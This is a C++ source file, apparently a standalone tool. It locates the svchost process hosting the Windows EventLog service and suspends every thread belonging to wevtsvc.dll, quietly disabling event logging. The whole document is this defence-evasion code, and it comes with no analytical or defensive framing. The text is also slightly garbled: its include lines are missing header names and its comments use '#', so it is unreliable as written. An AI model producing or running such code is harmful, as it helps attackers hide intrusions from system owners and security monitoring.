#include #include #include #include #include #include #pragma comment(lib, "DbgHelp") using myNtQueryInformationThread = NTSTATUS(NTAPI*)( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT PULONG ReturnLength ); int main() { HANDLE serviceProcessHandle; HANDLE snapshotHandle; HANDLE threadHandle; HMODULE modules[256] = {}; SIZE_T modulesSize = sizeof(modules); DWORD modulesSizeNeeded = 0; DWORD moduleNameSize = 0; SIZE_T modulesCount = 0; WCHAR remoteModuleName[128] = {}; HMODULE serviceModule = NULL; MODULEINFO serviceModuleInfo = {}; DWORD_PTR threadStartAddress = 0; DWORD bytesNeeded = 0; myNtQueryInformationThread NtQueryInformationThread = (myNtQueryInformationThread)(GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationThread")); THREADENTRY32 threadEntry; threadEntry.dwSize = sizeof(THREADENTRY32); SC_HANDLE sc = OpenSCManagerA(".", NULL, MAXIMUM_ALLOWED); SC_HANDLE service = OpenServiceA(sc, "EventLog", MAXIMUM_ALLOWED); SERVICE_STATUS_PROCESS serviceStatusProcess = {}; # Get PID of svchost.exe that hosts EventLog service QueryServiceStatusEx(service, SC_STATUS_PROCESS_INFO, (LPBYTE)&serviceStatusProcess, sizeof(serviceStatusProcess), &bytesNeeded); DWORD servicePID = serviceStatusProcess.dwProcessId; # Open handle to the svchost.exe serviceProcessHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, servicePID); snapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); # Get a list of modules loaded by svchost.exe EnumProcessModules(serviceProcessHandle, modules, modulesSize, &modulesSizeNeeded); modulesCount = modulesSizeNeeded / sizeof(HMODULE); for (size_t i = 0; i < modulesCount; i++) { serviceModule = modules[i]; # Get loaded module's name GetModuleBaseName(serviceProcessHandle, serviceModule, remoteModuleName, sizeof(remoteModuleName)); if (wcscmp(remoteModuleName, L"wevtsvc.dll") == 0) { printf("Windows EventLog module %S at %p\n\n", remoteModuleName, serviceModule); GetModuleInformation(serviceProcessHandle, serviceModule, &serviceModuleInfo, sizeof(MODULEINFO)); } } # Enumerate threads Thread32First(snapshotHandle, &threadEntry); while (Thread32Next(snapshotHandle, &threadEntry)) { if (threadEntry.th32OwnerProcessID == servicePID) { threadHandle = OpenThread(MAXIMUM_ALLOWED, FALSE, threadEntry.th32ThreadID); NtQueryInformationThread(threadHandle, (THREADINFOCLASS)0x9, &threadStartAddress, sizeof(DWORD_PTR), NULL); # Check if thread's start address is inside wevtsvc.dll memory range if (threadStartAddress >= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll && threadStartAddress <= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll + serviceModuleInfo.SizeOfImage) { printf("Suspending EventLog thread %d with start address %p\n", threadEntry.th32ThreadID, threadStartAddress); # Suspend EventLog service thread SuspendThread(threadHandle); Sleep(2000); } } } return 0; }